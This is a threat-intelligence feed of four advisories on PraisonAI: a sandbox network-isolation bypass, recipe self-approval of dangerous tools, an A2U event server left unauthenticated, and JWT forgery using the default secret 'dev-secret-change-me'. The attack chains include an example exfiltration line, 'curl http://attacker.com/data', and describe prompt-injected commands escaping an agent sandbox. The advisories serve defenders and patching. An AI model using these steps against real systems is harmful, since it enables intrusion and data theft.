MervinPraison - CraftedSignal Threat Feed

npm PraisonAI SandboxExecutor Network Isolation Bypass Vulnerability (GHSA-gqmf-56h7-rrpf)

hello@craftedsignal.io — Thu, 18 Jun 2026 15:06:26 +0000

The npm package praisonai, specifically versions 1.2.3 up to and including 1.7.1, is affected by a critical network isolation bypass vulnerability identified as GHSA-gqmf-56h7-rrpf. The SandboxExecutor component in network-isolated mode, which is advertised to provide "No network access," fails to implement robust OS-level network restrictions. Instead, it only injects proxy environment variables (e.g., http_proxy, https_proxy set to localhost:0) into the child processes. This mechanism is insufficient for true network isolation, as any non-proxy-aware client or direct socket API call within the sandboxed command environment will bypass these variables and establish direct network connections. This flaw undermines the security guarantees applications rely on when executing untrusted or user-supplied code via praisonai, potentially enabling attackers to exfiltrate sensitive data or access internal network resources.

Attack Chain

An attacker crafts malicious input, such as a prompt-injected command, and submits it to an application utilizing the praisonai library.
The vulnerable application executes the attacker-supplied command within the SandboxExecutor component, configured for network-isolated mode.
The SandboxExecutor spawns a child process (e.g., sh -c [attacker_controlled_command]), inheriting environment variables like http_proxy=http://localhost:0.
The attacker-controlled command, for instance, curl http://attacker.com/data, executes a non-proxy-aware network client or direct socket API call.
The non-proxy-aware client or API ignores the injected proxy environment variables and attempts to establish a direct outbound network connection.
The operating system permits the direct connection, effectively bypassing the intended network-isolated sandbox boundary.
The attacker's command successfully exfiltrates data from the compromised environment or accesses internal network services.

Impact

The network isolation bypass in praisonai can lead to severe consequences for applications relying on its sandbox for security. If exploited, attackers can circumvent the intended network restrictions to exfiltrate sensitive data (e.g., local files, process output, environment variables) from the sandboxed command context. Furthermore, this vulnerability allows access to localhost services or internal network resources reachable from the host running the praisonai instance, potentially enabling lateral movement or further compromise. It can also permit requests to cloud metadata or service endpoints, leading to credential theft or escalation of privileges. Ultimately, the flaw enables bypass of application policies that assume command execution occurs without network access, compromising the integrity and confidentiality of the host system.

Recommendation

Patch CVE-GHSA-gqmf-56h7-rrpf immediately by upgrading the praisonai npm package to a version that contains a fix, or implement a workaround that employs OS-level network restrictions.
Deploy the Sigma rules in this brief to your SIEM to detect suspicious network utility execution originating from processes likely spawned by praisonai's SandboxExecutor.
Enable process_creation logging for all Linux servers that run applications using the praisonai package to capture sh, curl, wget, node, and python command line arguments.
Review network_connection logs from systems using praisonai for outbound connections initiated by non-standard or unexpected processes to external or internal destinations.

PraisonAI Recipe Policy Bypass via YAML Workflow Approval

hello@craftedsignal.io — Thu, 18 Jun 2026 15:01:53 +0000

A critical policy bypass vulnerability affects PraisonAI, a recipe execution platform, specifically versions v4.5.87 through v4.6.57. The platform's security model intends to block "dangerous tools" (e.g., execute_command) unless an operator explicitly allows them via allow_dangerous_tools=True. However, an untrusted recipe can circumvent this control. By crafting a workflow.yaml that declares a default-denied tool within an agent's tools section and simultaneously using a top-level approve: directive, the recipe can effectively self-approve the dangerous tool. This bypasses the initial security policy that only checks TEMPLATE.yaml requires.tools, enabling the recipe to execute arbitrary commands without operator consent. The vulnerability affects both local CLI usage and HTTP recipe-runner deployments, with potentially higher severity if exposed to authenticated users.

Attack Chain

Attacker crafts malicious PraisonAI recipe: The attacker prepares a recipe consisting of a workflow.yaml that declares a default-denied critical tool (e.g., execute_command) under an agent's tools section and includes approve: [execute_command] at the top level, while ensuring the TEMPLATE.yaml requires.tools section does not list any dangerous tools.
Operator runs untrusted recipe: An operator or user runs the attacker-controlled recipe through the PraisonAI local CLI or an exposed HTTP recipe runner, critically without specifying allow_dangerous_tools=True.
Initial policy check bypassed: PraisonAI's _check_tool_policy() function inspects only the TEMPLATE.yaml requires.tools list. Since the malicious workflow.yaml avoids listing dangerous tools there, the recipe passes this initial security gate.
YAMLWorkflowParser processes workflow.yaml: During the _execute_steps_workflow() phase, YAMLWorkflowParser parses the workflow.yaml, resolving agent-level tools: declarations and extracting the top-level approve: directives.
Workflow self-approves dangerous tools: The Workflow.start() method invokes set_yaml_approved_tools(), which registers the tools specified in the approve: directive (including the dangerous execute_command) within the application's approval context, effectively self-approving them.
Agent executes dangerous command: When the PraisonAI agent within the workflow attempts to utilize the execute_command tool, it is treated as pre-approved due to the bypass, allowing the agent to proceed with its execution.
Arbitrary command execution: The execute_command tool then executes arbitrary operating system commands specified by the attacker within the workflow.yaml, inheriting the privileges of the underlying PraisonAI process.
Impact: This unapproved command execution can lead to remote code execution, data exfiltration, system compromise, or facilitate further lateral movement within the compromised environment.

Impact

This policy bypass allows an untrusted recipe to execute arbitrary commands with the privileges of the PraisonAI process. If an operator runs such a recipe, or if a PraisonAI HTTP recipe runner is exposed to users who can choose recipe names or URIs, successful exploitation can lead to full system compromise. The exact trigger for command execution depends on the specific workflow and model/tool-call path, but the core policy boundary is breached before execution. This impacts both local CLI usage of PraisonAI and deployments utilizing the HTTP recipe runner, potentially escalating to an authenticated remote execution issue if the API is accessible.

Recommendation

Patch PraisonAI: Upgrade PraisonAI to version 4.6.61 or later immediately to address the vulnerability described in the GHSA advisory.
Monitor process_creation logs: Deploy the Sigma rules provided in this brief to detect suspicious command execution originating from PraisonAI processes.
Enable Sysmon logging: Ensure Sysmon process creation and command line logging (Event ID 1) is enabled on all Windows systems running PraisonAI to facilitate detection of spawned shell processes.

PraisonAI A2U Incomplete Authentication Fix (GHSA-jxcw-qp4h-6jfq)

hello@craftedsignal.io — Thu, 18 Jun 2026 15:00:49 +0000

A critical vulnerability exists in PraisonAI, affecting versions 4.5.115 through 4.6.60, stemming from an incomplete fix for a previously disclosed unauthenticated access issue (GHSA-f292-66h9-fpmf). When an operator starts the A2U (Agent-to-User) event stream server using the documented praisonai serve a2u CLI command without explicitly configuring the A2U_AUTH_TOKEN environment variable, the server runs without any authentication. This default behavior contradicts the secure-by-default posture implied by the previous fix and current documentation, allowing unauthenticated access to sensitive agent event streams such as responses, tool calls, thinking/progress events, and stream metadata. Attackers can leverage this oversight to gain unauthorized insight into agent activities and potentially exfiltrate sensitive operational data if the server is exposed on a network interface.

Attack Chain

An operator installs PraisonAI versions between 4.5.115 and 4.6.60.
The operator starts the A2U server using the command praisonai serve a2u --host 0.0.0.0 --port 8002 (or similar) without setting the A2U_AUTH_TOKEN environment variable.
The _create_a2u_app() function in src/praisonai/praisonai/cli/features/serve.py registers A2U routes.
The create_a2u_routes() function in src/praisonai/praisonai/endpoints/a2u_server.py checks for A2U_AUTH_TOKEN via os.environ.get().
Since A2U_AUTH_TOKEN is not set, the authentication mechanism (_authenticate_request()) returns None, effectively disabling authentication for all A2U endpoints.
An unauthenticated attacker makes an HTTP GET request to /a2u/info, /a2u/subscribe, or /a2u/events/{stream_name} on the exposed PraisonAI A2U server.
The server responds with sensitive agent event stream data, including agent responses, tool calls, thinking/progress events, and stream metadata, without requiring any credentials.
The attacker successfully exfiltrates sensitive operational data or gains intelligence on agent activities.

Impact

Attackers who can reach an unauthenticated PraisonAI A2U server are able to subscribe to sensitive agent event streams without credentials. This exposed data includes agent responses, details of tool calls, internal thinking/progress events, and stream metadata. Organizations relying on PraisonAI and believing the previously announced fix or the secure-by-default documentation may inadvertently deploy the A2U server on network interfaces, exposing these streams. This could lead to the unauthorized disclosure of proprietary operational logic, sensitive internal data processed by agents, or intelligence on ongoing tasks, potentially compromising business operations, intellectual property, or client data.

Recommendation

Upgrade PraisonAI to a patched version: Ensure all PraisonAI installations are updated to version 4.6.61 or later, as specified in the affected range pip:praisonai >= 4.5.115, < 4.6.61.
Implement Authentication: For any PraisonAI A2U server currently deployed, explicitly set the A2U_AUTH_TOKEN environment variable before starting the praisonai serve a2u command to enforce authentication.
Deploy the Sigma rules: Deploy the provided Sigma rules to detect unauthenticated access attempts to A2U endpoints in webserver logs.
Review deployment configurations: Audit existing praisonai serve a2u deployments to confirm that --host 0.0.0.0 is not used without proper authentication enabled, or that network segmentation limits access to trusted internal hosts only.

PraisonAI Platform Vulnerable to JWT Forgery via Hardcoded Default Secret

hello@craftedsignal.io — Thu, 18 Jun 2026 14:43:44 +0000

The praisonai-platform Python package, specifically versions 0.1.4 and older, developed by Mervin Praison, contains a critical vulnerability where its JSON Web Token (JWT) signing secret defaults to a publicly known string, dev-secret-change-me. This misconfiguration stems from a flawed environment variable check in praisonai_platform/services/auth_service.py (SHA256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258). The intended guard to prevent production deployments with the default secret fails if both PLATFORM_JWT_SECRET and PLATFORM_ENV are left unset, causing the application to silently start with the insecure secret. This enables unauthenticated attackers to forge arbitrary JWTs, effectively bypassing authentication for any user, including administrative accounts, across all routes protected by the get_current_user dependency.

Attack Chain

Initial Access / Reconnaissance: An unauthenticated attacker identifies a praisonai-platform instance, possibly by interacting with its API endpoints or discovering the underlying software version.
Vulnerability Identification: The attacker identifies that the application is running praisonai-platform version 0.1.4 or earlier and has not correctly configured its PLATFORM_JWT_SECRET and PLATFORM_ENV environment variables, leading to the use of the default dev-secret-change-me JWT secret.
Token Forgery: Using the publicly known JWT secret (dev-secret-change-me) and the HS256 algorithm, the attacker crafts a JWT with arbitrary claims, including sub (user ID) and email, for a target user (e.g., an administrative user like admin@example.com or a known user ID).
Authentication Bypass: The attacker sends the forged JWT in an Authorization header to a protected endpoint (e.g., /api/v1/workspaces, /api/v1/projects).
User Impersonation: The praisonai-platform server validates the forged token using the default secret and treats the attacker as the impersonated user (e.g., admin-user-id-attacker-chose).
Privilege Escalation / Unauthorized Access: If the forged token impersonates an administrator or a member of a specific workspace, the attacker gains full access to that user's resources and permissions within the application, including creating, modifying, or deleting data.
Impact: The attacker proceeds to exfiltrate data, tamper with application settings, or perform other malicious actions as the impersonated user.

Impact

This critical vulnerability directly leads to complete authentication bypass and privilege escalation within affected praisonai-platform deployments. An attacker can impersonate any user, including administrators, by forging JWTs with arbitrary user IDs and email addresses. All routes protected by the get_current_user dependency, which includes core functionalities such as managing workspaces, projects, issues, agents, and labels, become vulnerable to unauthorized access. The consequence is full compromise of the application's data and functionality, with potential for sensitive data exfiltration, system configuration changes, and disruption of service. There is no specific victim count, but any instance of praisonai-platform running the vulnerable versions without proper environment configuration is at risk.

Recommendation

Immediate Action: Patch praisonai-platform to a version that addresses this vulnerability or ensure PLATFORM_JWT_SECRET is set to a strong, random, and unique value (at least 32 bytes) in all environments, including development. Set PLATFORM_ENV to a non-dev value (e.g., production) for production deployments to ensure the built-in guard is active.
Detection Engineering: Deploy the provided Sigma rule "Detect PraisonAI Platform Vulnerable File (SHA256)" to identify instances running the vulnerable auth_service.py file.
Supply Chain Security: Implement automated scanning for component vulnerabilities (SCA) to identify the presence of praisonai-platform <= 0.1.4 in your software supply chain.
Log Configuration: Ensure application logs are configured to capture environment variable settings on process startup, if possible, to detect instances where PLATFORM_JWT_SECRET is unset or PLATFORM_ENV defaults to dev.